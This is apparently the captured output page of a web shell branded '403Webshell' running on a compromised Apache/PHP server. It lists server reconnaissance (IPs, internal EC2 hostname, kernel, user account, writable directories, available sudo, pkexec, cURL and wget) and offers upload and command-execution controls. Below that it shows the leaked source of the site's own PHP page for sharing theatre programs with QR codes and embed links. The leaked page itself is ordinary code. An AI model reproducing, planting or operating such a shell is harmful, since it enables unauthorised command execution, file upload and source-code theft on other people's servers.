403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.68
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/domains/stagemag/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/domains/stagemag/programedit-share.php
<?php
include 'header.php';
set_time_limit(600);

$programid = resolve_programid();
require_program_access($programid, $getuser);

$stmt = db_write()->prepare("SELECT * FROM stagemag.productions WHERE id = ?");
$stmt->execute([$programid]);
$geter = $stmt->fetch();
?>

<style>
.feature-card { background: #fff; border: 1px solid #e0e0e0; border-radius: 8px; margin-bottom: 20px; box-shadow: 0 2px 4px rgba(0,0,0,0.08); }
.feature-card-header { background: linear-gradient(135deg, #b20223 0%, #8a011a 100%); color: #fff; padding: 12px 20px; border-radius: 7px 7px 0 0; font-size: 18px; font-weight: 600; }
.feature-card-body { padding: 20px; }
.feature-card-body p { color: #555; margin-bottom: 15px; line-height: 1.5; }
.feature-card-body label { font-weight: 600; color: #333; display: block; margin-bottom: 5px; }
.share-row { display: flex; gap: 30px; flex-wrap: wrap; align-items: flex-start; }
.share-info { flex: 1; min-width: 300px; }
.share-qr { text-align: center; }
.share-qr small { display: block; margin-top: 8px; color: #666; }
.share-link { color: #b20223; word-break: break-all; font-size: 13px; }
.embed-code { width: 100%; height: 80px; font-size: 11px; padding: 8px; border: 1px solid #ccc; border-radius: 4px; font-family: monospace; margin-top: 10px; }
.preview-container { width: 100%; margin-bottom: 20px; border: 1px solid #ddd; border-radius: 6px; overflow: hidden; background: #f9f9f9; position: relative; }
.preview-frame-wrapper { width: 100%; height: 360px; overflow: hidden; position: relative; }
.preview-frame-wrapper iframe { width: 400%; height: 400%; border: none; transform: scale(0.25); transform-origin: top left; pointer-events: none; }
.pdf-preview-wrapper { width: 293px; height: 360px; margin: 0 auto; overflow: hidden; position: relative; background: #000; }
.pdf-preview-wrapper iframe { width: 624px; height: 768px; border: none; transform: scale(0.47); transform-origin: top left; pointer-events: none; display: block; }
.preview-label { background: #f0f0f0; border-top: 1px solid #ddd; padding: 8px 14px; font-size: 12px; color: #666; display: flex; align-items: center; justify-content: space-between; }
.preview-label a { color: #b20223; font-weight: 600; text-decoration: none; font-size: 12px; }
.preview-label a:hover { text-decoration: underline; }
</style>

<div id="content" style="max-width: 900px;">
  <div id="content-header">
    <h2>&nbsp;Share Program</h2>
  </div>
  <div class="container-fluid">
    <p style="margin-bottom: 20px;">View downloadable QR codes, and sharing links for the program, save the date & more.</p>

<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery.qrcode/1.0/jquery.qrcode.min.js"></script>

<br>

<div class="feature-card">
    <div class="feature-card-header">Modern Version</div>
    <div class="feature-card-body">
        <div class="preview-container">
            <div class="preview-frame-wrapper">
                <iframe src="https://stagemag.broadwayworld.com/modern/<?= htmlspecialchars($geter['seo_friendly']) ?>" loading="lazy" sandbox="allow-same-origin allow-scripts"></iframe>
            </div>
            <div class="preview-label">
                <span>Live Preview</span>
                <a href="https://stagemag.broadwayworld.com/modern/<?= htmlspecialchars($geter['seo_friendly']) ?>" target="_blank">Open Full Size &rarr;</a>
            </div>
        </div>
        <div class="share-row">
            <div class="share-info">
                <label>Direct Link:</label>
                <a href="https://stagemag.broadwayworld.com/modern/<?= htmlspecialchars($geter['seo_friendly']) ?>" target="_new" class="share-link">https://stagemag.broadwayworld.com/modern/<?= htmlspecialchars($geter['seo_friendly']) ?></a>
                <label style="margin-top: 15px;">Embed Code:</label>
                <textarea class="embed-code"><iframe src="https://stagemag.broadwayworld.com/modern/<?= htmlspecialchars($geter['seo_friendly']) ?>" style="width:800px;height:1000px;" width="800" height="1000"></iframe></textarea>
            </div>
            <div class="share-qr">
                <div id="output2"></div>
                <script>
                jQuery(function(){
                    jQuery('#output2').qrcode("https://stagemag.broadwayworld.com/<?= $geter['id'] ?>");
                    var canvas = document.querySelector("#output2 canvas");
                    var img = canvas.toDataURL("image/png");
                    $(canvas).on('click', function() {
                        var dl = document.createElement('a');
                        dl.setAttribute('href', img);
                        dl.setAttribute('download', 'qrcode.png');
                        dl.click();
                    });
                });
                </script>
                <small>Click to Download</small>
            </div>
        </div>
    </div>
</div>

<div class="feature-card">
    <div class="feature-card-header">Classic Version</div>
    <div class="feature-card-body">
        <div class="preview-container">
            <div class="preview-frame-wrapper">
                <iframe src="https://stagemag.broadwayworld.com/classic/<?= htmlspecialchars($geter['seo_friendly']) ?>" loading="lazy" sandbox="allow-same-origin allow-scripts"></iframe>
            </div>
            <div class="preview-label">
                <span>Live Preview</span>
                <a href="https://stagemag.broadwayworld.com/classic/<?= htmlspecialchars($geter['seo_friendly']) ?>" target="_blank">Open Full Size &rarr;</a>
            </div>
        </div>
        <div class="share-row">
            <div class="share-info">
                <label>Direct Link:</label>
                <a href="https://stagemag.broadwayworld.com/classic/<?= htmlspecialchars($geter['seo_friendly']) ?>" target="_new" class="share-link">https://stagemag.broadwayworld.com/classic/<?= htmlspecialchars($geter['seo_friendly']) ?></a>
                <label style="margin-top: 15px;">Embed Code:</label>
                <textarea class="embed-code"><iframe src="https://stagemag.broadwayworld.com/classic/<?= htmlspecialchars($geter['seo_friendly']) ?>" style="width:800px;height:1000px;" width="800" height="1000"></iframe></textarea>
            </div>
            <div class="share-qr">
                <div id="output"></div>
                <script>
                jQuery(function(){
                    jQuery('#output').qrcode("https://stagemag.broadwayworld.com/classic/<?= htmlspecialchars($geter['seo_friendly']) ?>");
                    var canvas = document.querySelector("#output canvas");
                    var img = canvas.toDataURL("image/png");
                    $(canvas).on('click', function() {
                        var dl = document.createElement('a');
                        dl.setAttribute('href', img);
                        dl.setAttribute('download', 'qrcode.png');
                        dl.click();
                    });
                });
                </script>
                <small>Click to Download</small>
            </div>
        </div>
    </div>
</div>

<div class="feature-card">
    <div class="feature-card-header">Show Promo Kit</div>
    <div class="feature-card-body">
        <p>Save the Date, social media images, embed codes, and more now live in the Show Promo Kit.
        <a href="programedit-savethedate.php?programid=<?= $geter['id'] ?>" style="color:#b20223;font-weight:600;">Open Show Promo Kit &rarr;</a></p>
    </div>
</div>

<div class="feature-card">
    <div class="feature-card-header">Printable 1-Sheet Promo PDF</div>
    <div class="feature-card-body">
        <div class="preview-container">
            <div class="pdf-preview-wrapper">
                <iframe src="https://stagemag.broadwayworld.com/pdfsimple/<?= htmlspecialchars($geter['seo_friendly']) ?>?preview=1" loading="lazy" sandbox="allow-same-origin allow-scripts"></iframe>
            </div>
            <div class="preview-label">
                <span>Live Preview</span>
                <a href="https://stagemag.broadwayworld.com/pdfsimple/<?= htmlspecialchars($geter['seo_friendly']) ?>" target="_blank">Download PDF &rarr;</a>
            </div>
        </div>
        <label>Direct Link:</label>
        <a href="https://stagemag.broadwayworld.com/pdfsimple/<?= htmlspecialchars($geter['seo_friendly']) ?>" target="_new" class="share-link">https://stagemag.broadwayworld.com/pdfsimple/<?= htmlspecialchars($geter['seo_friendly']) ?></a>
    </div>
</div>

   </div>
<!--Footer-part-->
<br><br><br><br>

<?php include 'footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit